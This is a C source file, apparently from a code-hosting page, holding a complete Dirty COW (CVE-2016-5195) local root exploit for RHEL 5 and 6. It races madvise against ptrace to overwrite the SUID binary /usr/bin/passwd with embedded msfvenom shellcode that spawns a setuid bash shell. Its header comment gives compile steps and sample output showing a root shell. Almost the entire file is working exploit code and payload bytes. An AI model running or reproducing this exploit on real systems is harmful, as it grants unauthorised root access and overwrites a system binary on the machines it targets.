132 lines
4.3 KiB
C
132 lines
4.3 KiB
C
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/*
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* A PTRACE_POKEDATA variant of CVE-2016-5195
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* should work on RHEL 5 & 6
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*
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* (un)comment correct payload (x86 or x64)!
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* $ gcc -pthread c0w.c -o c0w
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* $ ./c0w
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* DirtyCow root privilege escalation
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* Backing up /usr/bin/passwd.. to /tmp/bak
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* mmap fa65a000
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* madvise 0
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* ptrace 0
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* $ /usr/bin/passwd
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* [root@server foo]# whoami
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* root
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* [root@server foo]# id
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* uid=0(root) gid=501(foo) groups=501(foo)
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* @KrE80r
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*/
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#include <fcntl.h>
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#include <pthread.h>
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#include <string.h>
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#include <stdio.h>
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#include <stdint.h>
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#include <sys/mman.h>
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#include <sys/stat.h>
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <sys/ptrace.h>
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#include <unistd.h>
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int f;
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void *map;
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pid_t pid;
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pthread_t pth;
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struct stat st;
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// change if no permissions to read
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char suid_binary[] = "/usr/bin/passwd";
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/*
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* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
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*/
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unsigned char shell_code[] = {
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0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
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0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
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0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
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0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
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0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
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0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
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0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
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};
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unsigned int sc_len = 177;
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/*
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* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
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unsigned char shell_code[] = {
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0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
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0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
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0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
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0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
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0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
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0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
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0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
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0x89, 0xe1, 0xcd, 0x80
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};
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unsigned int sc_len = 136;
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*/
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void *madviseThread(void *arg) {
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int i,c=0;
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for(i=0;i<200000000;i++)
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c+=madvise(map,100,MADV_DONTNEED);
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printf("madvise %d\n\n",c);
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}
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int main(int argc,char *argv[]){
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printf(" \n\
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(___) \n\
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(o o)_____/ \n\
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@@ ` \\ \n\
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\\ ____, /%s \n\
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// // \n\
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^^ ^^ \n\
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", suid_binary);
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char *backup;
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printf("DirtyCow root privilege escalation\n");
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printf("Backing up %s to /tmp/bak\n", suid_binary);
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asprintf(&backup, "cp %s /tmp/bak", suid_binary);
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system(backup);
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f=open(suid_binary,O_RDONLY);
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fstat(f,&st);
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map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
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printf("mmap %x\n\n",map);
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pid=fork();
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if(pid){
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waitpid(pid,NULL,0);
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int u,i,o,c=0,l=sc_len;
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for(i=0;i<10000/l;i++)
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for(o=0;o<l;o++)
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for(u=0;u<10000;u++)
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c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
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printf("ptrace %d\n\n",c);
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}
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else{
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pthread_create(&pth,
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NULL,
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madviseThread,
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NULL);
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ptrace(PTRACE_TRACEME);
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kill(getpid(),SIGSTOP);
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pthread_join(pth,NULL);
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}
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return 0;
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}
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